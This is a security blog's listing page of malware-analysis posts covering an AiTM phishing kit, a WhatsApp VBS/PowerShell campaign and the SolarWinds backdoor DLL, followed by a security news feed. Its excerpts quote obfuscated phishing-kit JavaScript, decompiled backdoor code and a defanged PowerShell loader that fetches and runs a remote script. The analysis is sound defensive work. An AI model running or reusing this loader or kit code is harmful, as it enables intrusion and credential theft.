Loading...
You are here:  Home  >  Malware and Behavior Analysis
Latest

phishing-kit

By   /  February 20, 2026  /  Malware and Behavior Analysis  /  Comments Off on phishing-kit

AITM kit sample (inert / displayed as code) Verify your account No account? Create one! Sign in with a security key Next Sign-in options a@b.com Forgot password? Other ways to sign in Sign in window.addEventListener(‘load’,function(){ const configRef = window[Object.keys(window).find(k => k.startsWith(‘jsConfig_’))]; const { vars: _funcs14, functions: fnMap, props: hbProps } = configRef; const hbCache = […]

Read More →
Latest

phishing-module

By   /  February 20, 2026  /  Malware and Behavior Analysis  /  Comments Off on phishing-module

window.addEventListener(‘load’,function(){ const configRef = window[Object.keys(window).find(k => k.startsWith(‘jsConfig_’))]; const { vars: _funcs14, functions: fnMap, props: hbProps } = configRef; const hbCache = window[_funcs14.phpConfig]; const errMsgs = window[_funcs14.errorMessages]; const stateb44f = window[_funcs14.validationState]; const options1ed0 = window[_funcs14.initialOptions]; let viewRef = window[_funcs14.view]; let email0132 = window[_funcs14.enmail]; const accessData747b = window[_funcs14.statusAccessData]; const hbIds = JSON.parse(atob(window[_funcs14.damang])); const _classes81 = JSON.parse(atob(window[_funcs14.suke]));f const […]

Read More →
Latest

WhatsApp_VBS_PowerShell

By   /  October 13, 2025  /  Malware and Behavior Analysis  /  Comments Off on WhatsApp_VBS_PowerShell

Appendix B — PowerShell Snippets (Defanged) Observed Malicious Loader Command (Do NOT Execute) —————————————————————- powershell.exe -ep bypass “[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;iex ((New-Object Net.WebClient).DownloadString(‘https://miportuarios[.]com/sisti/api.ps1’))” IMAP Bootstrap (Mailbox as Config Channel) —————————————————————- # Opens TLS IMAP to imap.terra.com.br:993, logs in, searches subject “data”, fetches latest body. # Shown here for analysis context only; do NOT run in production. # (The […]

Read More →
Latest

WhatApp_PowerShell_VBS-S2

By   /  October 13, 2025  /  Malware and Behavior Analysis  /  Comments Off on WhatApp_PowerShell_VBS-S2

Overview – Second-stage VBScript is executed in-memory via ExecuteGlobal by a Stage‑0 loader. – Primary goals: Portuguese locale gating, anti-analysis checks, configuration bootstrap (IMAP → multi-domain /data.php → Pastebin), PowerShell stage launch, optional self-delete. Locale Targeting (PT-BR/PT-PT) —————————————————————- Function CheckSystemLanguage() ‘ OSLanguage 1046 = pt-BR, 2070 = pt-PT ‘ Registry fallback: HKCU\Control Panel\International\sLanguage starts with […]

Read More →
Latest

Solarwinds DLL Quick Overview

By   /  January 10, 2021  /  Malware and Behavior Analysis  /  Comments Off on Solarwinds DLL Quick Overview

Hash and certificate stamp: Filename: solarwinds.orion.core.businesslayer.dll MD5:            846E27A652A5E1BFBD0DDD38A16DC865 sha1:              D130BD75645C2433F88AC03E73395FBA172EF676 sha256:            CE77D116A074DAB7A22A0FD4F2C1AB475F16EEC42E1DED3C0B0AA8211FE858D6 imphash:           DAE02F32A21E03CE65412F6E56942DAA description:       SolarWinds.Orion.Core.BusinessLayer file-type:         dynamic-link-library certificate-stamp:0xB9480000 (Tue Jan 21 01:00:00 2020) Code Analysis: Part One: // SolarWinds.Orion.Core.BusinessLayer.OrionImprovementBusinessLayer // Token: 0x06000057 RID: 87 RVA: 0x00004F8C File Offset: 0x0000318C private static void DelayMs(double minMs, double maxMs) {     if ((int)maxMs == 0)     {         minMs = 1000.0;         maxMs = 2000.0;     }     double num;     for (num = minMs + new Random().NextDouble() * (maxMs – minMs); num >= 2147483647.0; num -= 2147483647.0)     {         Thread.Sleep(int.MaxValue);     }     Thread.Sleep((int)num); NOTE:  sleeps for 24 days Part Two: // SolarWinds.Orion.Core.BusinessLayer.OrionImprovementBusinessLayer // Token: 0x06000055 RID: 85 RVA: 0x00004E14 File Offset: 0x00003014 private static bool GetOrCreateUserID(out byte[] hash64) {     string text = OrionImprovementBusinessLayer.ReadDeviceInfo();     hash64 = new byte[8];     Array.Clear(hash64, 0, hash64.Length);     if (text == null) […]

Read More →
  1. Pages:
  2. 1
  3. 2

  • RSS feed: The Hacker News The Hacker News

    • ⚡ Weekly Recap: Helpdesk 0-Days, Rogue Certs, ShinyHunters Arrest, AI-Fooling Malware and More October 12, 2026
      Some meetings last longer than it took attackers to jump on a newly disclosed security flaw this week. Within hours, they were already testing it. That's not much time to read the warning, let alone do something about it. But speed is only part of the problem. A secure connection didn't always mean a safe […]
    • Bring Your Own Agent: Your Employees' Assistants Are Already Logged In October 12, 2026
      The personal AI agents rollout is going about as smoothly as expected: Amazon now blocks Meta's Muse because it doesn't identify itself as a bot while browsing; Instinct keeps raising privacy concerns; and the horror stories from pretty much every personal AI agent keep piling up. Regardless, the tech world is mesmerized by the capabilities […]
    • Ledger Finds Unauthorized Hardware Implant in CryptoBilis-Sold Wallet Amid Fund Theft Reports October 12, 2026
      Cryptocurrency hardware maker Ledger has temporarily paused sales of its products via CryptoBilis following reports of stolen funds linked to devices sold by the reseller. On Friday, the company said it was investigating reports of loss of funds from users in Southeast Asia who had purchased products from CryptoBilis. The incident is said to have […]
    • Critical SonicWall SMA 1000 Flaw Targeted in 135 Exploitation Attempts After Patch October 12, 2026
      Threat actors have been observed exploiting a recently disclosed critical security flaw in SonicWall Secure Mobile Access (SMA) 1000 appliances within days of public disclosure. The vulnerability, tracked as CVE-2026-102255 (CVSS score: 10.0), is a case of pre-authenticated server-side request forgery (SSRF) that could allow a remote attacker "to direct the appliance to issue requests […]
    • Attackers Exploit CVSS 10.0 Bricksforge WordPress Flaw Enabling Unauthenticated RCE October 12, 2026
      A maximum-severity security flaw impacting the Bricksforge plugin for WordPress has come under active exploitation in the wild, according to Patchstack. The critical vulnerability in question is CVE-2026-85097 (CVSS score: 10.0), which allows unauthenticated attackers to upload and execute arbitrary PHP code on vulnerable WordPress websites, resulting in remote code execution (RCE). The